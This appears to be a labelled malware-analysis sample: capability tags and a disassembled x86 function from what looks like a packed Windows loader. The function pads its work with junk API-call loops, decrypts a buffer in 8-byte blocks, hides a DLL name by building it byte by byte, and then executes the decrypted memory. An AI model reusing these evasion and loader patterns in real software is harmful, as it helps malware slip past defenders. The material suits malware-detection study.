Function at 0x40126e
Capabilities:
Delete directory
Get disk information
Move file

Disassembly:
mov eax, 0x455a11
call fcn.00454a6c
sub esp, 0x830
push ebx
push esi
xor ebx, ebx
cmp dword [0x2b2fa94], 0x93
push edi
jne 0x4012fa
push str.mobapewido_wewexutibabisi_ginebohofiboluja_xuzuyunegagihalukulokedew_xezopofociguwicifuna
push 0x457528
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x2c], ax
push ebx
mov dword [ebp - 4], ebx
call fcn.00401945
push ebx
call fcn.004019b3
push ebx
call fcn.004019b3
add esp, 0xc
call fcn.00401260
push ebx
call fcn.004019c9
push 0x30
push ebx
push 0x457524
push str._s__f__c
call fcn.004016d8
or dword [ebp - 4], 0xffffffff
add esp, 0x14
cmp dword [ebp - 0x18], 8
jb 0x4012fa
push dword [ebp - 0x2c]
call fcn.0040179d
pop ecx
add dword [0x2b2fa94], 0x1134b
push dword [0x2b2fa94]
mov eax, dword [0x45a4e8]
push ebx
mov dword [0x2b304f8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2b2f448], eax
call fcn.004011ab
mov esi, 0x29156e
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x40132a
cmp dword [0x2b2fa94], ebx
jbe 0x401391
mov eax, dword [0x2b304f8]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2b2f448]
mov byte [ecx + esi], al
cmp dword [0x2b2fa94], 0x490
jne 0x401388
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push str.gofajisenociyisupuyaharesawebuza_kugekumaf_pememiruxibibadogujokulamow_gazujaxucasaf
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push str.ziderihagujuyedixoso
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc esi
cmp esi, dword [0x2b2fa94]
jb 0x401342
xor esi, esi
mov eax, dword [0x2b2fa94]
add eax, esi
cmp eax, 0x8d
jne 0x4013de
push str.mocunegu
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 0x43c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
inc esi
cmp esi, 0x38681
jl 0x401393
mov eax, dword [0x2b2fa94]
mov ecx, dword [0x2b2f448]
shr eax, 3
cmp eax, ebx
jbe 0x401436
mov esi, ecx
mov edi, eax
cmp dword [0x2b2fa94], 0x959
jne 0x40142a
push ebx
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push ebx
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push str.butemodacumegitelob
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x4013fd
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x401456
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x2b2f448], eax
inc esi
cmp esi, 0x674db
jl 0x401438
push 0x7b
pop esi
cmp dword [0x2b2fa94], 0x86
jne 0x40148d
push 0x45765c
push str.puxuximijoyumedovucorufafivi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
lea eax, [ebp - 0x83c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
dec esi
jne 0x401462
push 0x45c300
mov byte [0x45c309], 0x6c
mov byte [0x45c303], 0x6d
mov byte [0x45c304], 0x67
mov byte [0x45c308], 0x64
mov byte [0x45c30b], bl
mov byte [0x45c30a], 0x6c
mov byte [0x45c307], 0x2e
mov byte [0x45c306], 0x32
mov byte [0x45c300], 0x6d
mov byte [0x45c302], 0x69
mov byte [0x45c305], 0x33
mov byte [0x45c301], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2b2f448]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret